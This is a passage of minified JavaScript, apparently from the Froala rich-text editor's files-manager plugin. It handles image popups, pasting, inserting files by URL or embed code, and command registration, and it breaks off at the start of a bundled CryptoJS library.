1<=R.opts.imageInsertButtons.length&&(a=R.popups.create("filesManager.insert",p)),R.$wp&&R.events.$on(R.$wp,"scroll",function(){w&&R.popups.isVisible("filesManager.insert")&&replace()}),Fe(a),R.popups.setPopupDimensions(a),a}function $e(e){var t=e.split("/").pop();if(t.split(".").length<2){var a=new Date;return t+"-"+a.getDate()+"/"+(a.getMonth()+1)+"/"+a.getFullYear()}return t}function ze(){w&&R.popups.get("image.alt").find("input").val(w.attr("alt")||"").trigger("change")}function Ke(){var e=R.popups.get("image.alt");e||(e=We()),J(),R.popups.refresh("image.alt"),R.popups.setContainer("image.alt",R.$sc);var t=lt();ct()&&(t=t.find(".fr-img-wrap"));var a=t.offset().left+t.outerWidth()/2,n=t.offset().top+t.outerHeight();R.popups.show("image.alt",a,n,t.outerHeight(),!0)}function We(e){if(e)return R.popups.onRefresh("image.alt",ze),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(R.button.buildList(R.opts.imageAltButtons),"</div>"),alt_layer:'<div class="fr-image-alt-layer fr-layer fr-active" id="fr-image-alt-layer-'.concat(R.id,'"><div class="fr-input-line"><input id="fr-image-alt-layer-text-').concat(R.id,'" type="text" placeholder="').concat(R.language.translate("Alternative Text"),'" tabIndex="1"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetAlt" tabIndex="2" role="button">').concat(R.language.translate("Update"),"</button></div></div>")},a=R.popups.create("image.alt",t);return R.$wp&&R.events.$on(R.$wp,"scroll.image-alt",function(){w&&R.popups.isVisible("image.alt")&&Ke()}),a}function Ge(){var e=R.popups.get("image.size");if(w)if(ct()){var t=w.parent();t.get(0).style.width||(t=w.parent().parent()),e.find('input[name="width"]').val(t.get(0).style.width).trigger("change"),e.find('input[name="height"]').val(t.get(0).style.height).trigger("change")}else e.find('input[name="width"]').val(w.get(0).style.width).trigger("change"),e.find('input[name="height"]').val(w.get(0).style.height).trigger("change")}function Ve(){var e=R.popups.get("image.size");e||(e=Ye()),J(),R.popups.refresh("image.size"),R.popups.setContainer("image.size",R.$sc);var t=lt();ct()&&(t=t.find(".fr-img-wrap"));var a=t.offset().left+t.outerWidth()/2,n=t.offset().top+t.outerHeight();R.popups.show("image.size",a,n,t.outerHeight(),!0)}function Ye(e){if(e)return R.popups.onRefresh("image.size",Ge),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(R.button.buildList(R.opts.imageSizeButtons),"</div>"),size_layer:'<div class="fr-image-size-layer fr-layer fr-active" id="fr-image-size-layer-'.concat(R.id,'"><div class="fr-image-group"><div class="fr-input-line"><input id="fr-image-size-layer-width-\'').concat(R.id,'" type="text" name="width" placeholder="').concat(R.language.translate("Width"),'" tabIndex="1"></div><div class="fr-input-line"><input id="fr-image-size-layer-height').concat(R.id,'" type="text" name="height" placeholder="').concat(R.language.translate("Height"),'" tabIndex="1"></div></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetSize" tabIndex="2" role="button">').concat(R.language.translate("Update"),"</button></div></div>")},a=R.popups.create("image.size",t);return R.$wp&&R.events.$on(R.$wp,"scroll.image-size",function(){w&&R.popups.isVisible("image.size")&&Ve()}),a}function je(e,t,a,n){return e.pageX=t,W.call(this,e),e.pageX=e.pageX+a*Math.floor(Math.pow(1.1,n)),G.call(this,e),V.call(this,e),++n}function qe(e){(e=e||lt())&&!1!==R.events.trigger("image.beforeRemove",[e])&&(R.popups.hideAll(),at(!0),R.undo.canDo()||R.undo.saveStep(),e.get(0)==R.el?e.removeAttr("src"):(e.get(0).parentNode&&"A"==e.get(0).parentNode.tagName?(R.selection.setBefore(e.get(0).parentNode)||R.selection.setAfter(e.get(0).parentNode)||e.parent().after(St.MARKERS),x(e.get(0).parentNode).remove()):(R.selection.setBefore(e.get(0))||R.selection.setAfter(e.get(0))||e.after(St.MARKERS),e.remove()),R.html.fillEmptyBlocks(),R.selection.restore()),R.undo.saveStep())}function Xe(e){var t=e.which;if(w&&(t==St.KEYCODE.BACKSPACE||t==St.KEYCODE.DELETE))return e.preventDefault(),e.stopPropagation(),qe(),!1;if(w&&t==St.KEYCODE.ESC){var a=w;return at(!0),R.selection.setAfter(a.get(0)),R.selection.restore(),e.preventDefault(),!1}if(!w||t!=St.KEYCODE.ARROW_LEFT&&t!=St.KEYCODE.ARROW_RIGHT)return w&&t===St.KEYCODE.TAB?(e.preventDefault(),e.stopPropagation(),at(!0),!1):w&&t!=St.KEYCODE.F10&&!R.keys.isBrowserAction(e)?(e.preventDefault(),e.stopPropagation(),!1):void 0;var n=w.get(0);return at(!0),t==St.KEYCODE.ARROW_LEFT?R.selection.setBefore(n):R.selection.setAfter(n),R.selection.restore(),e.preventDefault(),!1}function Ze(e){if(e&&"IMG"==e.tagName){var t;if(R.node.hasClass(e,"fr-uploading")||R.node.hasClass(e,"fr-error"))null===(t=e.parentNode)||void 0===t||t.removeChild(e);else R.node.hasClass(e,"fr-draggable")&&e.classList.remove("fr-draggable");if(e.parentNode&&e.parentNode.parentNode&&R.node.hasClass(e.parentNode.parentNode,"fr-img-caption")){var a=e.parentNode.parentNode;a.removeAttribute("contenteditable"),a.removeAttribute("draggable"),a.classList.remove("fr-draggable");var n=e.nextSibling;n&&n.removeAttribute("contenteditable")}}else if(e&&e.nodeType==Node.ELEMENT_NODE)for(var r=e.querySelectorAll("img.fr-uploading, img.fr-error, img.fr-draggable"),i=0;i<r.length;i++)Ze(r[i])}function Qe(e){var t=e.target.result,a=R.opts.imageDefaultWidth;a&&"auto"!=a&&(a+=R.opts.imageResizeWithPercent?"%":"px"),R.undo.saveStep(),R.html.insert('<img data-fr-image-pasted="true" src="'.concat(t,'"').concat(a?' style="width: '.concat(a,';"'):"",">"));var n=R.$el.find('img[data-fr-image-pasted="true"]');n&&ot(n,R.opts.imageDefaultDisplay,R.opts.imageDefaultAlign),R.events.trigger("paste.after")}function Je(e,t){var a=new FileReader;a.onload=function n(e){var t=R.opts.imageDefaultWidth;t&&"auto"!=t&&(t+=R.opts.imageResizeWithPercent?"%":"px"),R.html.insert('<img data-fr-image-pasted="true" src="'.concat(e,'"').concat(t?' style="width: '.concat(t,';"'):"",">"));var a=R.$el.find('img[data-fr-image-pasted="true"]');a&&ot(a,R.opts.imageDefaultDisplay,R.opts.imageDefaultAlign),R.events.trigger("paste.after")}(t),a.readAsDataURL(e,t)}function et(e,t){var a=t||e&&e.clipboardData;if(a&&a.items){var n=(a||window.clipboardData).getData("text/html")||"",r=(new DOMParser).parseFromString(n,"text/html").querySelector("img");if(r&&!R.opts.imageUploadURL){if(!r)return!1;var i=r.src,o=null;if(a.types&&-1!=[].indexOf.call(a.types,"text/rtf")||a.getData("text/rtf"))o=a.items[0].getAsFile();else for(var s=0;s<a.items.length;s++)if(o=a.items[s].getAsFile()){St.IMAGE_TYPE=o.type;break}if(o)return Je(o,i),!1}else{var l=null;if(a.types&&-1!=[].indexOf.call(a.types,"text/rtf")||a.getData("text/rtf"))l=a.items[0].getAsFile();else for(var c=0;c<a.items.length&&!(l=a.items[c].getAsFile());c++);if(l)return function d(e){var t=new FileReader;t.onload=Qe,t.readAsDataURL(e)}(l),!1}}}function tt(e){return e=e.replace(/<img /gi,'<img data-fr-image-pasted="true" ')}function at(e){w&&(function t(){return nt}()||!0===e)&&(R.toolbar.enable(),l&&l.removeClass("fr-active"),R.popups.hide("image.edit"),w=null,it(),c=null,d&&d.hide())}var nt=!1;function rt(){nt=!0}function it(){nt=!1}function ot(e,t,a){!R.opts.htmlUntouched&&R.opts.useClasses?(x(e).removeClass("fr-fil fr-fir fr-dib fr-dii"),a&&x(e).addClass("fr-fi".concat(a[0])),t&&x(e).addClass("fr-di".concat(t[0]))):"inline"==t?(e.css({display:"inline-block",verticalAlign:"bottom",margin:R.opts.imageDefaultMargin}),"center"==a?e.css({"float":"none",marginBottom:"",marginTop:"",maxWidth:"calc(100% - ".concat(2*R.opts.imageDefaultMargin,"px)"),textAlign:"center"}):"left"==a?e.css({"float":"left",marginLeft:0,maxWidth:"calc(100% - ".concat(R.opts.imageDefaultMargin,"px)"),textAlign:"left"}):e.css({"float":"right",marginRight:0,maxWidth:"calc(100% - ".concat(R.opts.imageDefaultMargin,"px)"),textAlign:"right"})):"block"==t&&(e.css({display:"block","float":"none",verticalAlign:"top",margin:"".concat(R.opts.imageDefaultMargin,"px auto"),textAlign:"center"}),"left"==a?e.css({marginLeft:0,textAlign:"left"}):"right"==a&&e.css({marginRight:0,textAlign:"right"}))}function st(){return w}function lt(){return ct()?w.parents(".fr-img-caption").first():w}function ct(){return!!w&&0<w.parents(".fr-img-caption").length}return{_init:function dt(){var i;(function e(){R.events.$on(R.$el,R._mousedown,"IMG"==R.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==x(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;R.helpers.isMobile()||R.selection.clear(),t=!0,R.popups.areVisible()&&R.events.disableBlur(),R.browser.msie&&(R.events.disableBlur(),R.$el.attr("contenteditable",!1)),R.draggable||"touchstart"==e.type||e.preventDefault(),e.stopPropagation()}),R.events.$on(R.$el,R._mousedown,".fr-img-caption .fr-inner",function(e){R.core.hasFocus()||R.events.focus(),e.stopPropagation()}),R.events.$on(R.$el,"paste",".fr-img-caption .fr-inner",function(e){!0===R.opts.toolbarInline&&(R.toolbar.hide(),e.stopPropagation())}),R.events.$on(R.$el,R._mouseup,"IMG"==R.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==x(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;t&&(t=!1,e.stopPropagation(),R.browser.msie&&(R.$el.attr("contenteditable",!0),R.events.enableBlur()))}),R.events.on("keyup",function(e){if(e.shiftKey&&""===R.selection.text().replace(/\n/g,"")&&R.keys.isArrow(e.which)){var t=R.selection.element(),a=R.selection.endElement();t&&"IMG"==t.tagName?Ae(x(t)):a&&"IMG"==a.tagName&&Ae(x(a))}},!0),R.events.on("window.mousedown",rt),R.events.on("window.touchmove",it),R.events.on("mouseup window.mouseup",function(){if(w)return at(),!1;it()}),R.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&at()}),R.events.on("image.resizeEnd",function(){R.opts.iframe&&R.size.syncIframe()}),R.events.on("blur image.hideResizer commands.undo commands.redo element.dropped",function(){at(!(t=!1))}),R.events.on("modals.hide",function(){w&&R.selection.clear()}),R.events.on("image.resizeEnd",function(){R.win.getSelection&&Ae(w)}),R.opts.imageAddNewLine&&R.events.on("image.inserted",function(e){var t=e.get(0);for(t.nextSibling&&"BR"===t.nextSibling.tagName&&(t=t.nextSibling);t&&!R.node.isElement(t);)t=R.node.isLastSibling(t)?t.parentNode:null;R.node.isElement(t)&&(R.opts.enter===St.ENTER_BR?e.after("<br>"):x(R.node.blockParent(e.get(0))).after("<".concat(R.html.defaultTag(),"><br></").concat(R.html.defaultTag(),">")))})})(),"IMG"==R.el.tagName&&R.$el.addClass("fr-view"),R.helpers.isMobile()&&(R.events.$on(R.$el,"touchstart","IMG"==R.el.tagName?null:'img:not([contenteditable="false"])',function(){de=!1}),R.events.$on(R.$el,"touchmove",function(){de=!0})),R.opts.pluginsEnabled.includes("filestack")&&R.events.on("filestack.pluginsEnabled",function(){He()}),R.$wp?(R.events.on("window.keydown keydown",Xe,!0),R.events.on("keyup",function(e){if(w&&e.which==St.KEYCODE.ENTER)return!1},!0),R.events.$on(R.$el,"keydown",function(){var e=R.selection.element();(e.nodeType===Node.TEXT_NODE||"BR"==e.tagName&&R.node.isLastSibling(e))&&(e=e.parentNode),R.node.hasClass(e,"fr-inner")||(R.node.hasClass(e,"fr-img-caption")||(e=x(e).parents(".fr-img-caption").get(0)),R.node.hasClass(e,"fr-img-caption")&&(R.opts.trackChangesEnabled||x(e).after(St.INVISIBLE_SPACE+St.MARKERS),R.selection.restore()))})):R.events.$on(R.$win,"keydown",Xe),R.events.on("toolbar.esc",function(){if(w){if(R.$wp)R.events.disableBlur(),R.events.focus();else{var e=w;at(!0),R.selection.setAfter(e.get(0)),R.selection.restore()}return!1}},!0),R.events.on("toolbar.focusEditor",function(){if(w)return!1},!0),R.events.on("window.cut window.copy",function(e){if(w&&R.popups.isVisible("image.edit")&&!R.popups.get("image.edit").find(":focus").length){var t=lt();ct()?(t.before(St.START_MARKER),t.after(St.END_MARKER),R.selection.restore(),R.paste.saveCopiedText(t.get(0).outerHTML,t.text())):R.paste.saveCopiedText(w.get(0).outerHTML,w.attr("alt")),"copy"==e.type?setTimeout(function(){Ae(w)}):(at(!0),R.undo.saveStep(),setTimeout(function(){R.undo.saveStep()},0))}},!0),R.browser.msie&&R.events.on("keydown",function(e){if(!R.selection.isCollapsed()||!w)return!0;var t=e.which;t==St.KEYCODE.C&&R.keys.ctrlKey(e)?R.events.trigger("window.copy"):t==St.KEYCODE.X&&R.keys.ctrlKey(e)&&R.events.trigger("window.cut")}),R.events.$on(x(R.o_win),"keydown",function(e){var t=e.which;if(w&&t==St.KEYCODE.BACKSPACE)return e.preventDefault(),!1}),R.events.$on(R.$win,"keydown",function(e){var t=e.which;w&&w.hasClass("fr-uploading")&&t==St.KEYCODE.ESC&&w.trigger("abortUpload")}),R.events.on("destroy",function(){w&&w.hasClass("fr-uploading")&&w.trigger("abortUpload")}),R.events.on("paste.before",et),R.events.on("paste.beforeCleanup",tt),R.events.on("html.processGet",Ze),R.opts.imageOutputSize&&R.events.on("html.beforeGet",function(){i=R.el.querySelectorAll("img");for(var e=0;e<i.length;e++){var t=parseFloat(x(i[e]).css("padding-left"))+parseFloat(x(i[e]).css("padding-right")),a=x(i[e]).width()-t,n=i[e].style.width||a,r=i[e].style.height||x(i[e]).height();n&&i[e].setAttribute("width","".concat(n).replace(/px/,"")),r&&i[e].setAttribute("height","".concat(r).replace(/px/,""))}}),R.opts.iframe&&R.events.on("image.loaded",R.size.syncIframe),R.events.$on(x(R.o_win),"orientationchange.image",function(){setTimeout(function(){w&&Ae(w)},100)}),function n(e){if(e)return R.$wp&&R.events.$on(R.$wp,"scroll.image-edit",function(){w&&R.popups.isVisible("image.edit")&&R.events.disableBlur()}),!0;var t="";if(0<R.opts.imageEditButtons.length){var a={buttons:t+='<div class="fr-buttons"> \n '.concat(R.button.buildList(R.opts.imageEditButtons),"\n </div>")};return R.popups.create("image.edit",a)}return!1}(!0),He(!0),Ye(!0),We(!0),R.events.on("node.remove",function(e){if("IMG"==e.get(0).tagName)return qe(e),!1}),R.events.on("popups.hide.filesManager.insert",function(e){R.filesManager.minimizePopup(L)})},showInsertPopup:E,showLayer:function ft(e){var t,a,n=R.popups.get("filesManager.insert");if(w||R.opts.toolbarInline){if(w){var r=lt();ct()&&(r=r.find(".fr-img-wrap")),a=r.offset().top+r.outerHeight(),t=r.offset().left}}else{var i=R.$tb.find('.fr-command[data-cmd="insertFiles"]');t=i.offset().left,a=i.offset().top+(R.opts.toolbarBottom?10:i.outerHeight()-10)}!w&&R.opts.toolbarInline&&(a=n.offset().top-R.helpers.getPX(n.css("margin-top")),n.hasClass("fr-above")&&(a+=n.outerHeight())),n.find(".fr-layer").removeClass("fr-active"),n.find(".fr-".concat(e,"-layer")).addClass("fr-active"),n.find(".fr-upload-progress-layer").addClass("fr-active"),R.popups.show("filesManager.insert",t,a,w?w.outerHeight():0),R.accessibility.focusPopup(n)},refreshUploadButton:function pt(e){var t=R.popups.get("filesManager.insert");t&&t.find(".fr-files-upload-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshByURLButton:function ut(e){var t=R.popups.get("filesManager.insert");t&&t.find(".fr-files-by-url-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},upload:Oe,insertByURL:function gt(){for(var e,t=R.popups.get("filesManager.insert").find(".fr-files-by-url-layer input"),a=t.val().trim().split(/[ ,]+/),n=[],r=0,i=0;i<a.length;i++)e=a[i],new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i").test(e)&&(n[r]=a[i],r++);if(0!=n.length){if(0<t.val().trim().length&&0<n.length){var s=[],l=[],c=g,d=n.length;n.forEach(function(e,a){if(0==e.trim().length)g==c+--d&&ye(s,l);else{J(),Q(),ee(R.language.translate("Loading file(s)"));var n=e.trim(),t=function o(e){if(void 0===e)return e;var t=null;if(/^http/.test(e)||(e="https://".concat(e)),R.helpers.isURL(e))for(var a=0;a<St.VIDEO_PROVIDERS.length;a++){var n=St.VIDEO_PROVIDERS[a];if(n.test_regex.test(e)&&new RegExp(R.opts.videoAllowedProviders.join("|")).test(n.provider)){t=e.replace(n.url_regex,n.url_text),t=n.html.replace(/\{url\}/,t);break}}return t}(n);if(t){var r={link:n,name:n,type:"video/url",size:2,video:t};I.set(c+a,r),me(c+a),J(),Q(),ee(R.language.translate("Loading file(s)")),O.set(c+a,r),++g==c+d&&ye(s,l)}else{var i=new XMLHttpRequest;i.onload=function(){if(200==this.status){var e=new Blob([this.response],{type:this.response.type||""});e.name=$e(n),e.link=n,De(this.response.type)?(e.sanitize=!0,e.existing_image=w):Ne(this.response.type)&&(e.text=$e(n)),s.push(e),l.push(c+a),I.set(c+a,e),me(c+a),(-1<U.indexOf(Re(e))||!Re(e))&&j(P,null,null,c+a)}else{var t=new Blob([this.response],{type:this.response.type||" "});t.name=$e(n),t.link=n,I.set(c+a,t),me(c+a),j(D,this.response,w,c+a)}J(),Q(),ee(R.language.translate("Loading file(s)")),++g==c+d&&ye(s,l)},i.onerror=function(){var e={link:n,name:$e(n),size:0,type:""};j(9,this.response,w,c+a);var t=g;I.set(t,e),me(t),J(),Q(),ee(R.language.translate("Loading file(s)")),++g==c+d&&ye(s,l)},i.open("GET","".concat(R.opts.imageCORSProxy,"/").concat(n),!0),i.responseType="blob",i.send()}}}),t.val(""),t.blur()}}else te(R.language.translate("Url entered is invalid. Please try again."))},insertAllFiles:function ht(){r=[];var e=R.popups.get("filesManager.insert");u=-1,f=null,e.find(".fr-insert-checkbox").toArray().forEach(function n(e,t,a){e.children.target.checked&&(r.push(parseInt(e.id.split("-").pop())),De(O.get(parseInt(e.id.split("-").pop())).type)&&-1==u&&(u=t))}),ke(r),q()},deleteAllFiles:function e(){R.popups.get("filesManager.insert").find(".fr-insert-checkbox").toArray().forEach(function r(e,t,a){if(e.children.target.checked){var n=parseInt(e.id.split("-").pop());A.has(n)&&A["delete"](n),X(n)}}),q()},get:st,getEl:lt,insert:Le,showProgressBar:Q,remove:qe,hideProgressBar:J,applyStyle:function mt(e,t,a){if(void 0===t&&(t=R.opts.imageStyles),void 0===a&&(a=R.opts.imageMultipleStyles),!w)return!1;var n=lt();if(!a){var r=Object.keys(t);r.splice(r.indexOf(e),1),n.removeClass(r.join(" "))}"object"==Rt(t[e])?(n.removeAttr("style"),n.css(t[e].style)):n.toggleClass(e),Ae(w)},showAltPopup:Ke,showSizePopup:Ve,setAlt:function vt(e){if(w){var t=R.popups.get("image.alt");w.attr("alt",e||t.find("input").val()||""),t.find("input:focus").blur(),Ae(w)}},setSize:function bt(e,t){if(w){var a=R.popups.get("image.size");e=e||a.find('input[name="width"]').val()||"",t=t||a.find('input[name="height"]').val()||"";var n=/^[\d]+((px)|%)*$/g;w.removeAttr("width").removeAttr("height"),e.match(n)?w.css("width",e):w.css("width",""),t.match(n)?w.css("height",t):w.css("height",""),ct()&&(w.parents(".fr-img-caption").removeAttr("width").removeAttr("height"),e.match(n)?w.parents(".fr-img-caption").css("width",e):w.parents(".fr-img-caption").css("width",""),t.match(n)?w.parents(".fr-img-caption").css("height",t):w.parents(".fr-img-caption").css("height","")),a&&a.find("input:focus").blur(),Ae(w)}},toggleCaption:function Et(){var e;if(w&&!ct()){(e=w).parent().is("a")&&(e=w.parent());var t,a,n=w.parents("ul")&&0<w.parents("ul").length?w.parents("ul"):w.parents("ol")&&0<w.parents("ol").length?w.parents("ol"):[];if(0<n.length){var r=n.find("li").length,i=w.parents("li"),o=document.createElement("li");r-1===i.index()&&(n.append(o),o.innerHTML=" ")}e.attr("style")&&(a=-1<(t=e.attr("style").split(":")).indexOf("width")?t[t.indexOf("width")+1].replace(";",""):"");var s=R.opts.imageResizeWithPercent?(-1<a.indexOf("px")?null:a)||"100%":w.width()+"px";e.wrap('<div class="fr-img-space-wrap"><span '+(R.browser.mozilla?"":'contenteditable="false"')+'class="fr-img-caption '+w.attr("class")+'" style="'+(R.opts.useClasses?"":e.attr("style"))+'" draggable="false"></span><p class="fr-img-space-wrap2"> </p></div>'),e.wrap('<span class="fr-img-wrap"></span>'),w.after('<span class="fr-inner"'.concat(R.browser.mozilla?"":' contenteditable="true"',">").concat(St.START_MARKER).concat(R.language.translate("Image Caption")).concat(St.END_MARKER,"</span>")),w.removeAttr("class").removeAttr("style").removeAttr("width"),w.parents(".fr-img-caption").css("width",s),at(!0),R.selection.restore()}else e=lt(),w.insertAfter(e),w.attr("class",e.attr("class").replace("fr-img-caption","")).attr("style",e.attr("style")),e.remove(),Ae(w)},refreshEmbedButton:function _t(e){var t=R.popups.get("filesManager.insert");t&&t.find(".fr-files-embed-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},insertEmbed:function wt(e){void 0===e&&(e=R.popups.get("filesManager.insert").find(".fr-files-embed-layer textarea").val()||""),0===e.length||!St.VIDEO_EMBED_REGEX.test(e)&&!St.IMAGE_EMBED_REGEX.test(e)?(te(R.language.translate("Something went wrong. Please try again.")),St.VIDEO_EMBED_REGEX.test(e)&&R.events.trigger("video.codeError",[e])):function s(e,t){var a,n;St.VIDEO_EMBED_REGEX.test(e)?(a="video",n=R.opts.videoSplitHTML):St.IMAGE_EMBED_REGEX.test(e)&&(a="image",n=R.opts.imageSplitHTML),R.events.focus(!0),R.selection.restore();var r=!1;w&&(qe(),r=!0),R.html.insert('<span id="fr-inserted-file" contenteditable="true" draggable="true" class="fr-'.concat(a,' fr-jiv fr-deletable">').concat(e,"</span>"),!1,n),R.popups.hide("filesManager.insert");var i=R.$el.find(".fr-jiv");i.removeClass("fr-jiv"),"video"==a&&(i.toggleClass("fr-rv",R.opts.videoResponsive),function o(e,t,a){!R.opts.htmlUntouched&&R.opts.useClasses?(e.removeClass("fr-fvl fr-fvr fr-dvb fr-dvi"),e.addClass("fr-fv".concat(a[0]," fr-dv").concat(t[0]))):"inline"==t?(e.css({display:"inline-block"}),"center"==a?e.css({"float":"none"}):"left"==a?e.css({"float":"left"}):e.css({"float":"right"})):(e.css({display:"block",clear:"both"}),"left"==a?e.css({textAlign:"left"}):"right"==a?e.css({textAlign:"right"}):e.css({textAlign:"center"}))}(i,R.opts.videoDefaultDisplay,R.opts.videoDefaultAlign),i.toggleClass("fr-draggable",R.opts.videoMove),R.events.trigger(r?"video.replaced":"video.inserted",[i])),"image"==a&&(ot(i,R.opts.imageDefaultDisplay,R.opts.imageDefaultAlign),i.find("img").removeClass("fr-dii"),i.find("img").addClass("fr-dib"),i.toggleClass("fr-draggable",R.opts.imageMove),R.events.trigger(r?"image.replaced":"image.inserted",[i])),t&&(f=i,R.selection.clear(),R.toolbar.disable(),R.video._editVideo(f))}(e)},hasCaption:ct,exitEdit:at,edit:Ae,cancelFileInsert:function yt(){this.file_manager_dialog_open=!1,A.forEach(function(e,t){4!=e.readyState&&(e.abort(),X(t))});var e=R.popups.get("filesManager.insert");e.find(".fr-progress-bar").removeClass("fr-display-block").addClass("fr-none"),e.find('.fr-command[data-cmd="filesUpload"]').removeClass("fr-disabled"),e.find('.fr-command[data-cmd="filesByURL"]').removeClass("fr-disabled"),e.find('.fr-command[data-cmd="filesEmbed"]').removeClass("fr-disabled"),i=0,A=new Map,C=new Map,Z(),R.popups.hide("filesManager.insert")},minimizePopup:function At(e){this.file_manager_dialog_open=!1,R.popups.hide("filesManager.insert"),Z()},editImage:Se,saveImage:function Ct(e){var t=O.get(o);t.link=window.URL.createObjectURL(new Blob(e,{type:"image/png"})),O.set(o,t)},_showErrorMessage:te,_showFileErrorMessage:ae,getFileThumbnail:be,deleteFile:X,checkAutoplay:Me,checkInsertAllState:q,_disableInsertCheckbox:Y,_getFileType:Re,isChildWindowOpen:function Tt(){return p},setChildWindowState:function kt(e){e!==undefined&&(p=e)},resetAllFilesCheckbox:Z}},St.DefineIcon("insertFiles",{NAME:"image",SVG_KEY:"fileManager"}),St.RegisterShortcut(St.KEYCODE.P,"insertFiles",null,"P"),St.RegisterCommand("insertFiles",{title:"Insert Files",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("filesManager.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("filesManager.insert")):this.filesManager.showInsertPopup()},plugin:"filesManager"}),St.DefineIcon("cloudIcon",{NAME:"cloudIcon",SVG_KEY:"uploadFiles"}),St.DefineIcon("filesUpload",{NAME:"uploadFiles",SVG_KEY:"uploadFiles"}),St.RegisterCommand("filesUpload",{title:"Upload Files",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.showLayer("files-upload")},refresh:function(e){this.filesManager.refreshUploadButton(e)}}),St.DefineIcon("filesByURL",{NAME:"link",SVG_KEY:"insertLink"}),St.RegisterCommand("filesByURL",{title:"By URL",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.showLayer("files-by-url")},refresh:function(e){this.filesManager.refreshByURLButton(e)}}),St.DefineIcon("filesEmbed",{NAME:"code",SVG_KEY:"codeView"}),St.RegisterCommand("filesEmbed",{title:"Embedded Code",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.showLayer("files-embed")},refresh:function(e){this.filesManager.refreshEmbedButton(e)}}),St.DefineIcon("insertAll",{NAME:"insertAll",SVG_KEY:"fileInsert"}),St.RegisterCommand("insertAll",{title:"Insert",undo:!1,focus:!1,toggle:!0,disabled:!0,callback:function(){this.filesManager.insertAllFiles()}}),St.DefineIcon("deleteAll",{NAME:"remove",SVG_KEY:"remove"}),St.RegisterCommand("deleteAll",{title:"Delete",undo:!1,focus:!1,toggle:!0,disabled:!0,callback:function(){this.filesManager.deleteAllFiles()}}),St.DefineIcon("cancel",{NAME:"cancel",SVG_KEY:"cancel"}),St.RegisterCommand("cancel",{title:"Cancel",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.cancelFileInsert()},refresh:function(e){}}),St.DefineIcon("minimize",{NAME:"minimize",SVG_KEY:"minimize"}),St.RegisterCommand("minimize",{title:"Minimize",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.minimizePopup("image.insert",!0)},refresh:function(e){this.filesManager.refreshEmbedButton(e)}}),St.RegisterCommand("filesInsertByURL",{title:"Insert Image",undo:!0,refreshAfterCallback:!1,callback:function(){this.filesManager.insertByURL()},refresh:function(e){e.text(this.language.translate("Add"))}}),St.RegisterCommand("imageInsertByUpload",{title:"Insert",undo:!0,refreshAfterCallback:!1,callback:function(e,t){},refresh:function(e){}}),St.RegisterCommand("viewImage",{title:"View Image",undo:!0,refreshAfterCallback:!1,callback:function(e,t){},refresh:function(e){}}),St.RegisterCommand("insertEmbed",{undo:!0,focus:!0,callback:function(){this.filesManager.insertEmbed(),this.popups.get("filesManager.insert").find("textarea")[0].value="",this.popups.get("filesManager.insert").find("textarea").removeClass("fr-not-empty")}}),St.RegisterCommand("filesDismissError",{title:"OK",undo:!1,callback:function(){this.filesManager.hideProgressBar(!0)}}),St.PLUGINS.cryptoJSPlugin=function(e){var t,d,a,n,r,i,o,f,s,l,c,p,u,g,h,v,m,b,E,_,w,y,A,C,T,k,S,R,L,x,I,O,F,M,D,N,P,B,U,H,$,z,K,W,G,V,Y,j,q,X,Z,Q,J,ee,te,ae,ne,re,ie,oe,se,le,ce,de,fe,pe,ue,ge,he,me,ve=ve||function(d,e){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(h){}var n=function n(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(h){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(h){}}throw new Error("Native crypto module could not be used to get secure random number.")},a=Object.create||function(){function a(){}return function(e){var t;return a.prototype=e,t=new a,a.prototype=null,t}}(),r={},i=r.lib={},o=i.Base={extend:function(e){var t=a(this);return e&&t.mixIn(e),t.hasOwnProperty("init")&&this.init!==t.init||(t.init=function(){t.$super.init.apply(this,arguments)}),(t.init.prototype=t).$super=this,t},create:function(){var e=this.extend();return e.init.apply(e,arguments),e},init:function(){},mixIn:function(e){for(var t in e)e.hasOwnProperty(t)&&(this[t]=e[t]);e.hasOwnProperty("toString")&&(this.toString=e.toString)},clone:function(){return this.init.prototype.extend(this)}},f=i.WordArray=o.extend({init:function(e,t){e=this.words=e||[],this.sigBytes=null!=t?t:4*e.length},toString:function(e){return(e||l).stringify(this)},concat:function(e){var t=this.words,a=e.words,n=this.sigBytes,r=e.sigBytes;if(this.clamp(),n%4)for(var i=0;i<r;i++){var o=a[i>>>2]>>>24-i%4*8&255;t[n+i>>>2]|=o<<24-(n+i)%4*8}else for(i=0;i<r;i+=4)t[n+i>>>2]=a[i>>>2];return this.sigBytes+=r,this},clamp:function(){var 